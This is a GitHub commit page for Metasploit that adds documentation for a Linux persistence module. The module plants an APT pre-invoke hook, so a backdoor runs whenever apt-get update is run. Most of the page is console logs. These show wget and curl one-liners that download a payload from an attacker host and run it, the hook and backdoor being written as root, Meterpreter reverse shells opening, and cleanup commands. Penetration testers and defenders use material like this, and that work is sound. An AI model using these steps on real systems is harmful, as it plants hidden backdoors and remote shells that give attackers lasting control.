Skip to content

Commit 80c5e41

Browse files
dledda-r7dledda-r7
authored
Merge pull request #20495 from h00die/modern_persistence_apt
update apt_package_manager to persistence mixin
2 parents f494b98 + 638beeb commit 80c5e41

File tree

4 files changed

+248
-169
lines changed

4 files changed

+248
-169
lines changed

‎documentation/modules/exploit/linux/local/apt_package_manager_persistence.md‎

Lines changed: 0 additions & 66 deletions
This file was deleted.

‎documentation/modules/exploit/linux/persistence/apt_package_manager.md‎

Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
## Vulnerable Application
2+
3+
This module will run a payload when the apt package manager is used.
4+
This module creates a pre-invoke hook for APT in `apt.conf.d`.
5+
The hook name syntax is numeric followed by text.
6+
7+
Verified on Ubuntu 22.04
8+
9+
## Verification Steps
10+
11+
1. Exploit a box that uses APT
12+
2. Obtain root persmissions, or enough permissions to edit the `apt.conf.d` folder
13+
3. `use exploit/linux/persistence/apt_package_manager`
14+
4. `set SESSION <id>`
15+
5. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
16+
6. `exploit`
17+
18+
When the system runs `apt-get update` the payload will launch.
19+
20+
## Options
21+
22+
### PAYLOAD_NAME
23+
24+
Name of backdoor executable. Defaults to a random name
25+
26+
### HOOKNAME
27+
28+
Name of pre-invoke hook to be installed in `/etc/apt/apt.conf.d/`. Pre-invoke hook name syntax is numeric followed by text.
29+
30+
## Scenarios
31+
32+
### Tested on Ubuntu 22.04
33+
34+
Initial access vector via web delivery
35+
36+
```
37+
$ ./msfconsole -q
38+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
39+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
40+
verbose => true
41+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
42+
lhost => 111.111.1.111
43+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
44+
[*] Using configured payload python/meterpreter/reverse_tcp
45+
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
46+
srvport => 8181
47+
resource (/root/.msf4/msfconsole.rc)> set target 7
48+
target => 7
49+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
50+
payload => linux/x64/meterpreter/reverse_tcp
51+
resource (/root/.msf4/msfconsole.rc)> set lport 4545
52+
lport => 4545
53+
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
54+
URIPATH => l
55+
resource (/root/.msf4/msfconsole.rc)> run
56+
[*] Exploit running as background job 0.
57+
[*] Exploit completed, but no session was created.
58+
[*] Starting persistent handler(s)...
59+
[*] Started reverse TCP handler on 111.111.1.111:4545
60+
[*] Using URL: http://111.111.1.111:8181/l
61+
[*] Server started.
62+
[*] Run the following command on the target machine:
63+
wget -qO Z73D1DUW --no-check-certificate http://111.111.1.111:8181/l; chmod +x Z73D1DUW; ./Z73D1DUW& disown
64+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
65+
[*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes)
66+
[*] Transmitting intermediate stager...(126 bytes)
67+
[*] Sending stage (3045380 bytes) to 222.222.2.22
68+
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:51076) at 2025-02-04 17:40:52 -0500
69+
sessions -l
70+
Active sessions
71+
===============
72+
Id Name Type Information Connection
73+
-- ---- ---- ----------- ----------
74+
1 meterpreter x64/linux root @ 222.222.2.22 111.111.1.111:4545 -> 222.222.2.22:51076 (222.222.2.22)
75+
```
76+
77+
Persistence
78+
79+
```
80+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/apt_package_manager
81+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
82+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > set session 1
83+
session => 1
84+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > check
85+
[*] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
86+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > exploit
87+
[*] Command to run on remote host: curl -so ./xTOLdQoOTv http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xTOLdQoOTv;./xTOLdQoOTv&
88+
[*] Exploit running as background job 1.
89+
[*] Exploit completed, but no session was created.
90+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >
91+
[*] Fetch handler listening on 111.111.1.111:8080
92+
[*] HTTP server started
93+
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
94+
[*] Started reverse TCP handler on 111.111.1.111:4444
95+
[*] Running automatic check ("set AutoCheck false" to disable)
96+
[+] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
97+
[*] Attempting to write hook:
98+
[*] Wrote /etc/apt/apt.conf.d/76skoGqswo
99+
[*] Backdoor uploaded /tmp/erNOJV96u
100+
[+] Backdoor will run on next APT update
101+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
102+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > jobs
103+
Jobs
104+
====
105+
Id Name Payload Payload opts
106+
-- ---- ------- ------------
107+
0 Exploit: multi/script/web_delivery linux/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4545
108+
1 Exploit: linux/persistence/apt_package_manager cmd/linux/http/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4444
109+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >
110+
```
111+
112+
Run `sudo apt-get update` on the target.
113+
114+
```
115+
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
116+
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
117+
[*] Transmitting intermediate stager...(126 bytes)
118+
[*] Sending stage (3045380 bytes) to 222.222.2.22
119+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:49804) at 2025-02-04 17:43:06 -0500
120+
[msf](Jobs:2 Agents:2) exploit(linux/persistence/apt_package_manager) > sessions -i 2
121+
[*] Starting interaction with 2...
122+
(Meterpreter 2)(/tmp) > sysinfo
123+
Computer : 222.222.2.22
124+
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
125+
Architecture : x64
126+
BuildTuple : x86_64-linux-musl
127+
Meterpreter : x64/linux
128+
(Meterpreter 2)(/tmp) >
129+
```
130+
131+
#### Cleanup
132+
133+
```
134+
(Meterpreter 2)(/tmp) > resource /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
135+
[*] Processing /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc for ERB directives.
136+
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /etc/apt/apt.conf.d/76skoGqswo
137+
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /tmp/erNOJV96u
138+
```

‎modules/exploits/linux/local/apt_package_manager_persistence.rb‎

Lines changed: 0 additions & 103 deletions
This file was deleted.

0 commit comments

Comments
 (0)